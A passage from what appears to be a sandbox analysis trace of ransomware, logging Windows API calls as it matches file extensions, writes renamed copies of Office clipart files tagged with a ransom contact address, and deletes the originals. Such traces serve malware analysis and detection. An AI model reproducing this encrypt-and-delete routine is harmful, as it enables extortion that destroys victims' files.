(lpString1=".rar", lpString2=".WMF") returned -1 [0318.571] lstrlenW (lpString=".bz2") returned 4 [0318.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.571] lstrlenW (lpString=".7z") returned 3 [0318.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0318.571] lstrlenW (lpString=".dbf") returned 4 [0318.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0318.571] lstrlenW (lpString=".1cd") returned 4 [0318.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0318.571] lstrlenW (lpString=".jpg") returned 4 [0318.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.572] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.572] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0318.573] GetLastError () returned 0x0 [0318.573] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2d14, lpOverlapped=0x0) returned 1 [0318.651] WriteFile (in: hFile=0x3c0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d20, lpOverlapped=0x0) returned 1 [0318.652] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.652] WriteFile (in: hFile=0x3c0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.652] SetEndOfFile (hFile=0x3c0) returned 1 [0318.652] CloseHandle (hObject=0x3c0) returned 1 [0318.652] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.653] SetEndOfFile (hFile=0x3ac) returned 1 [0318.655] CloseHandle (hObject=0x3ac) returned 1 [0318.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0318.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0318.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0318.656] lstrlenW (lpString=".doc") returned 4 [0318.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.656] lstrlenW (lpString=".docx") returned 5 [0318.656] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0318.656] lstrlenW (lpString=".pdf") returned 4 [0318.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.656] lstrlenW (lpString=".xls") returned 4 [0318.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.656] lstrlenW (lpString=".xlsx") returned 5 [0318.656] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0318.656] lstrlenW (lpString=".ppt") returned 4 [0318.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0318.656] lstrlenW (lpString=".zip") returned 4 [0318.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.656] lstrlenW (lpString=".rar") returned 4 [0318.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.656] lstrlenW (lpString=".bz2") returned 4 [0318.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.657] lstrlenW (lpString=".7z") returned 3 [0318.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0318.657] lstrlenW (lpString=".dbf") returned 4 [0318.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0318.657] lstrlenW (lpString=".1cd") returned 4 [0318.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0318.657] lstrlenW (lpString=".jpg") returned 4 [0318.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.658] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.658] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0318.658] GetLastError () returned 0x0 [0318.658] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0318.721] WriteFile (in: hFile=0x3c0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x3de0, lpOverlapped=0x0) returned 1 [0318.722] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.722] WriteFile (in: hFile=0x3c0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.722] SetEndOfFile (hFile=0x3c0) returned 1 [0318.722] CloseHandle (hObject=0x3c0) returned 1 [0318.722] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.722] SetEndOfFile (hFile=0x3ac) returned 1 [0318.725] CloseHandle (hObject=0x3ac) returned 1 [0318.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0318.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0318.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0318.726] lstrlenW (lpString=".doc") returned 4 [0318.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.726] lstrlenW (lpString=".docx") returned 5 [0318.726] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0318.726] lstrlenW (lpString=".pdf") returned 4 [0318.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.727] lstrlenW (lpString=".xls") returned 4 [0318.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.727] lstrlenW (lpString=".xlsx") returned 5 [0318.727] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0318.727] lstrlenW (lpString=".ppt") returned 4 [0318.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0318.727] lstrlenW (lpString=".zip") returned 4 [0318.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.727] lstrlenW (lpString=".rar") returned 4 [0318.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.727] lstrlenW (lpString=".bz2") returned 4 [0318.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.727] lstrlenW (lpString=".7z") returned 3 [0318.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0318.727] lstrlenW (lpString=".dbf") returned 4 [0318.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0318.727] lstrlenW (lpString=".1cd") returned 4 [0318.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0318.727] lstrlenW (lpString=".jpg") returned 4 [0318.727] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.728] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.728] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0318.730] GetLastError () returned 0x0 [0318.730] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x7e4, lpOverlapped=0x0) returned 1 [0318.769] WriteFile (in: hFile=0x3c0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0318.770] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.770] WriteFile (in: hFile=0x3c0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.770] SetEndOfFile (hFile=0x3c0) returned 1 [0318.771] CloseHandle (hObject=0x3c0) returned 1 [0318.771] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.771] SetEndOfFile (hFile=0x3ac) returned 1 [0318.773] CloseHandle (hObject=0x3ac) returned 1 [0318.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0318.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0318.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0318.774] lstrlenW (lpString=".doc") returned 4 [0318.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.775] lstrlenW (lpString=".docx") returned 5 [0318.775] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0318.775] lstrlenW (lpString=".pdf") returned 4 [0318.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.775] lstrlenW (lpString=".xls") returned 4 [0318.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.775] lstrlenW (lpString=".xlsx") returned 5 [0318.775] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0318.775] lstrlenW (lpString=".ppt") returned 4 [0318.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0318.775] lstrlenW (lpString=".zip") returned 4 [0318.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.775] lstrlenW (lpString=".rar") returned 4 [0318.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.775] lstrlenW (lpString=".bz2") returned 4 [0318.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.775] lstrlenW (lpString=".7z") returned 3 [0318.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0318.775] lstrlenW (lpString=".dbf") returned 4 [0318.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0318.775] lstrlenW (lpString=".1cd") returned 4 [0318.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0318.776] lstrlenW (lpString=".jpg") returned 4 [0318.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.788] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.788] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0318.789] GetLastError () returned 0x0 [0318.789] ReadFile (in: hFile=0x320, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x290c, lpOverlapped=0x0) returned 1 [0318.791] WriteFile (in: hFile=0x384, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2910, lpOverlapped=0x0) returned 1 [0318.792] ReadFile (in: hFile=0x320, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.792] WriteFile (in: hFile=0x384, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.792] SetEndOfFile (hFile=0x384) returned 1 [0318.792] CloseHandle (hObject=0x384) returned 1 [0318.792] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.792] SetEndOfFile (hFile=0x320) returned 1 [0318.796] CloseHandle (hObject=0x320) returned 1 [0318.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0318.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0318.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0318.797] lstrlenW (lpString=".doc") returned 4 [0318.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.797] lstrlenW (lpString=".docx") returned 5 [0318.797] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0318.797] lstrlenW (lpString=".pdf") returned 4 [0318.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.797] lstrlenW (lpString=".xls") returned 4 [0318.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.797] lstrlenW (lpString=".xlsx") returned 5 [0318.797] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0318.797] lstrlenW (lpString=".ppt") returned 4 [0318.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0318.797] lstrlenW (lpString=".zip") returned 4 [0318.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.798] lstrlenW (lpString=".rar") returned 4 [0318.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.798] lstrlenW (lpString=".bz2") returned 4 [0318.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.798] lstrlenW (lpString=".7z") returned 3 [0318.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0318.798] lstrlenW (lpString=".dbf") returned 4 [0318.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0318.798] lstrlenW (lpString=".1cd") returned 4 [0318.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0318.798] lstrlenW (lpString=".jpg") returned 4 [0318.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.799] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.799] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0318.800] GetLastError () returned 0x0 [0318.800] ReadFile (in: hFile=0x320, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2d40, lpOverlapped=0x0) returned 1 [0318.903] WriteFile (in: hFile=0x384, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0318.904] ReadFile (in: hFile=0x320, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.905] WriteFile (in: hFile=0x384, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0318.905] SetEndOfFile (hFile=0x384) returned 1 [0318.905] CloseHandle (hObject=0x384) returned 1 [0318.905] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.905] SetEndOfFile (hFile=0x320) returned 1 [0318.907] CloseHandle (hObject=0x320) returned 1 [0318.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0318.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0318.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0318.909] lstrlenW (lpString=".doc") returned 4 [0318.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.909] lstrlenW (lpString=".docx") returned 5 [0318.909] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0318.909] lstrlenW (lpString=".pdf") returned 4 [0318.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.909] lstrlenW (lpString=".xls") returned 4 [0318.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.909] lstrlenW (lpString=".xlsx") returned 5 [0318.909] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0318.909] lstrlenW (lpString=".ppt") returned 4 [0318.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0318.909] lstrlenW (lpString=".zip") returned 4 [0318.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.909] lstrlenW (lpString=".rar") returned 4 [0318.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.909] lstrlenW (lpString=".bz2") returned 4 [0318.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.909] lstrlenW (lpString=".7z") returned 3 [0318.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0318.909] lstrlenW (lpString=".dbf") returned 4 [0318.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0318.910] lstrlenW (lpString=".1cd") returned 4 [0318.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0318.910] lstrlenW (lpString=".jpg") returned 4 [0318.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.910] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7406f0 | out: hHeap=0x6e0000) returned 1 [0318.910] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73bfa0 | out: hHeap=0x6e0000) returned 1 [0318.910] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7a4eb0 | out: hHeap=0x6e0000) returned 1 [0318.911] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7b4eb8 | out: hHeap=0x6e0000) returned 1 [0318.911] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3d9d020 | out: hHeap=0x6e0000) returned 1 [0318.915] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740510 | out: hHeap=0x6e0000) returned 1 [0318.915] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b368 [0318.915] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b368, Size=0x20) returned 0x7ddbd8 [0318.915] RtlAllocateHeap (HeapHandle=0x6e0000, 